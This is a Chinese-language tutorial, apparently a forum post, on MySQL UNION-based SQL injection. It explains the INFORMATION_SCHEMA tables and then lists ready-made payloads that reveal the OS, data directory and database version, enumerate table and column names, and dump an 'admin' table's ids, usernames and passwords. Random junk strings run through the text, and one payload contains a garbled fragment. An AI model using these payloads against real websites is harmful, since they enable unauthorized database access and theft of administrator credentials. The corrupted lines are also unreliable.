mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
0 _7 a/ L7 E- x3 O* _- V  L% s
' R; j0 p9 Q8 B- u1 d* n学习盲注前先了解下 IFORMATION_SCHEMA 库
9 A5 A' W$ l% u. F+ i
1 A" _+ x$ l' n! }Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
  U5 ^5 t& h4 T* U+ n存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
: ^8 w4 |) a) N) k% i' W|---字段：SCHEMA_NAME ->数据库名称
: k# V: x, S1 G' `* ]% l1 @
$ g2 @  z! r8 \- f) M, B3 Q|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
5 Q1 `! N: G' h8 l& ~|---字段：TABLE_NAME ->存储表的表名
) M3 N4 E1 E. Z+ @
|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
6 x& O) i: T- `+ {0 ^( L|---字段：TABLE_NAME ->存储所属表的名称

|---字段：COLUMN_NAME ->该字段的名称



  l( s/ S5 y; x2 @2 L% Y###########################################################################

0x001 获取系统信息:

* G/ b5 Q% U; f  G/ {( s1 dunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

' y2 A4 B& U& A& W3 K/*

@@global.version_compile_os 获取系统版本
  F* Y" v0 H0 K8 g8 [6 d
@@datadir 数据库路径
database() 当前数据库名称
" q  ~  Z/ V9 C0x3c62723e 换行HEX值

*/

! U( ~: h7 h; c2 A  K8 }% L
: ]6 c3 ~+ u. n: O  j3 k7 ^
# H9 d& c7 S. R# A; `3 v######################################################################
8 V8 d/ h% r. d& j% C
0x002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
/ @( z9 u( b' B7 _& ~8 Y6 e/ W
5 D& M% e! `3 G/ _
3 p6 G. c0 K1 x' M( H
7 g8 c& g# l- i' a" \/*
; h3 L$ g0 b- d* ~: \* b
0x67617264656e 为当前数据库名
# @2 W8 E! ^( O8 e: t, I, k
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/
; v/ m2 M3 A* x7 V7 `0 D, K
' D; x+ N2 i/ u$ [* p% N######################################################################
' p' A/ T9 U* E  k. K- ~- P; H


0x003 获取字段
  k# j1 D; t) d  W3 p# l) b
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

  c& j- J+ O4 l* p6 m% y4 x/*
5 k! @0 ^) d" m4 |  e
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
6 i; H+ B/ f6 J) e8 b
( k0 f* `2 `/ G* F% s2 @0x61646d696e ->选择一个表

4 A( [# P9 S" o5 b' Z- L3 O0x67617264656e ->数据库名
* h4 [( L4 n: `  G# t
! x# _) ~. r% T- f*/
, b* `- \& ]6 ~4 ]5 S* V
4 q% d' R  w- D( y) Y8 H#####################################################################
4 b7 h9 _0 o5 T9 I2 c' a- ~4 ?# b
  {( g, G% v8 K) B5 r
" E6 g5 w9 }8 G! c% l! x- |
& `! j" c$ r4 {& r$ A$ Y( f5 `" [0x004 获取数据
0 |5 I1 ?1 u  o. ]
+ C; U* p: W# |union select 1,2,3
8 \, G  `2 ]" @) S9 `- n& u,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin

& K; y+ ?* w) F$ G$ [2 c# J0 V

/*

7 Z5 |, u* h0 u# o0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据
( f6 m$ V& N2 i5 {4 D+ `; S
*/
5 c6 A; D6 Q: b